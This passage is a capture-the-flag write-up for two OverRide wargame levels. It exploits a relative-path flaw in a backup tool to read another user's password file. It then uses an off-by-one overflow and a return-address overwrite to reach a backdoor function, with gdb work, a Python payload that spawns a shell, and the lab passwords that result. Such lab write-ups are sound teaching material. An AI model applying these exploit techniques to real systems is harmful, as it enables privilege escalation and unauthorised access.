    if (target < 0)
    {
        printf("ERROR: Failed to open %s\n", backup_path);
        exit(1);
    }

    int ch;
    while ((ch = fgetc(source)) != EOF)
        write(target, &ch, 1);

    log_wrapper(log_file, "Finished back up ", argv[1]);

    fclose(source);
    close(target);
    return EXIT_SUCCESS;
}
```

This **program** is designed to perform **backups** of a given **file** and maintain a **log** of its **operations**. It is a command-line utility that expects a **filename** as an argument.

It attempts to open a log file at **./backups/.log** for writing. If the **file** cannot be opened, the program reports an error and exits with a failure status. Once the **log** file is opened, the program uses **log_wrapper** to record the start of the backup process.

Subsequently, the **program** tries to open the specified **source file** for reading. If this file is inaccessible, an error is reported, and the program terminates. Upon successful file access, the program prepares the **backup** file path by appending the source filename to the **./backups/** directory. It takes care to prevent *buffer overflow* in constructing the file path.

The program attempts to create the backup file with appropriate permissions, ensuring it is new (by using O_EXCL). If it cannot **open** or **create** the backup file, it reports an error and exits. When the **backup** file is successfully opened, the program copies the content from the **source** to the **backup** file character by character.

After the **backup** is complete, the **program** logs this action and then closes both the **source** and **backup** files, exiting with a success status.

However, the program does not include functionality to create directories. Therefore, if we want to back up a file located within a nested directory structure (like **/home/users/level09/.pass**), the program will not work unless those directories already exist within the ./backups/ directory.

Since we lack **permissions** to create new directories within the **./backups/** folder in our **home** directory, backing up files from nested directories is not possible.

This limitation can be circumvented by exploiting the program's use of the relative path **./backups/**

In a directory like **/tmp**, we have the necessary **permissions** to create our own directory structures.
By mirroring the target directory structure under a new backups directory within **/tmp**, it's possible to exploit the **relative path** handling of the program.

Executing it from within **/tmp** then allows the **.pass** file from the **level09** user's home directory to be backed up into our controlled **backups** location.

```
level08@OverRide:~$ cd /tmp &&
mkdir -p backups/home/users/level09 &&
~/level08 /home/users/level09/.pass &&
cat backups/home/users/level09/.pass &&
rm -rf backups

fjAwpJNs2vvkFLRebEvAQ2hFZ4uQBWfHRsP62d8S

level08@OverRide:~$ su level09
Password: fjAwpJNs2vvkFLRebEvAQ2hFZ4uQBWfHRsP62d8S

level09@OverRide:~$
```

./level09

```
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      FILE
Partial RELRO   No canary found   NX enabled    PIE enabled     No RPATH   No RUNPATH   /home/user/level09/level09

level09@OverRide:~$
```

Decompiled file with ***Ghidra***:

```c
struct MessageData
{
    char msg[140];
    char username[40];
    int msglen;
};

void secret_backdoor(void)
{
    char command[128];

    fgets(command, 128, stdin);
    system(command);
    return;
}

void handle_msg(void)
{
    struct MessageData msgdata;

    memset(msgdata.username, 0, 40);
    msgdata.msglen = 140;

    set_username(&msgdata);
    set_msg(&msgdata);
    puts(">: Msg sent!");
    return;
}

void set_msg(struct MessageData *msgdata)
{
    char message_buffer[1024];
    memset(message_buffer, 0, 1024);

    puts(">: Msg @Unix-Dude");
    printf(">>: ");

    fgets(message_buffer, 1024, stdin);
    strncpy(msgdata->msg, message_buffer, msgdata->msglen);
    return;
}

void set_username(struct MessageData *msgdata)
{
    char username_buffer[128];
    memset(username_buffer, 0, 128);

    puts(">: Enter your username");
    printf(">>: ");

    fgets(username_buffer, 128, stdin);
    for (int i = 0; i < 41 && username_buffer[i] != '\0'; i++)
        msgdata->username[i] = username_buffer[i];

    printf(">: Welcome, %s", msgdata->username);
    return;
}

int main(void)
{
    puts("--------------------------------------------\n");
    puts("|   ~Welcome to l33t-m$n ~    v1337        |\n");
    puts("--------------------------------------------\n");
    handle_msg();
    return EXIT_SUCCESS;
}
```

The **program** is in **64-bit** mode, which means addresses are 8 bytes long.
The **program** includes a **secret_backdoor** function, which allows executing a **system** command that we specify. In this exercise, the interesting part happens within the **handle_msg** function, where there's a defined structure, consisting of:

```c
struct MessageData
{
    char msg[140];
    char username[40];
    int msglen;
};
```

Next, there are two functions that allow us to enter a **username** and a **message**, storing them inside the **MessageData** structure. The **set_username** function allows entering a 41-character **username**, creating a *buffer overflow* opportunity. Thus, we can **overwrite** the least significant byte of **msglen**, which is an **int** located just after the **username**, and set it the maximum 0xff.

This enables an overflow on the **msg**, as the **msglen** specifies the number of bytes that **strncpy** copies. Consequently, we can overwrite the **handle_msg** return address, rerouting the execution of the program to the **secret_backdoor** function.

First, let's find the address of the **secret_backdoor** function:

```
(gdb) p secret_backdoor
$1 = 0x000055555555488c <secret_backdoor>
```

The final step is to find the exact offset between **msg pointer** and the **return address** of the **handle_msg** function's stack frame:

```
(gdb) run
--------------------------------------------
|   ~Welcome to l33t-m$n ~    v1337        |
--------------------------------------------
>: Enter your username
>>: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA□
>: Welcome, AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA□>: Msg @Unix-Dude
>>: Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9A...3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4
>: Msg sent!

Program received signal SIGSEGV, Segmentation fault.
0x0000555555554931 in handle_msg ()
(gdb) x/gx $rsp
0x7fffffffe5d8: 0x4138674137674136 << offset = 200
```

```
level09@OverRide:~$ {
python -c '
import struct
username = "A"*40 + "\xff"
msg = "A"*200 + struct.pack("<Q", 0x000055555555488c)
commands = "\n".join([username, msg, "/bin/sh"])
print(commands)'
echo "cd ../end && cat .pass";
} | ./level09

--------------------------------------------
|   ~Welcome to l33t-m$n ~    v1337        |
--------------------------------------------
>: Enter your username
>>: >: Welcome, AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA□>: Msg @Unix-Dude
>>: >: Msg sent!

j4AunAPDXaJxxWjYEUxpanmvSgRDV3tpA5BEaBuE

level09@OverRide:~$ su end
Password: j4AunAPDXaJxxWjYEUxpanmvSgRDV3tpA5BEaBuE

end@OverRide:~$ cat end
GG !
```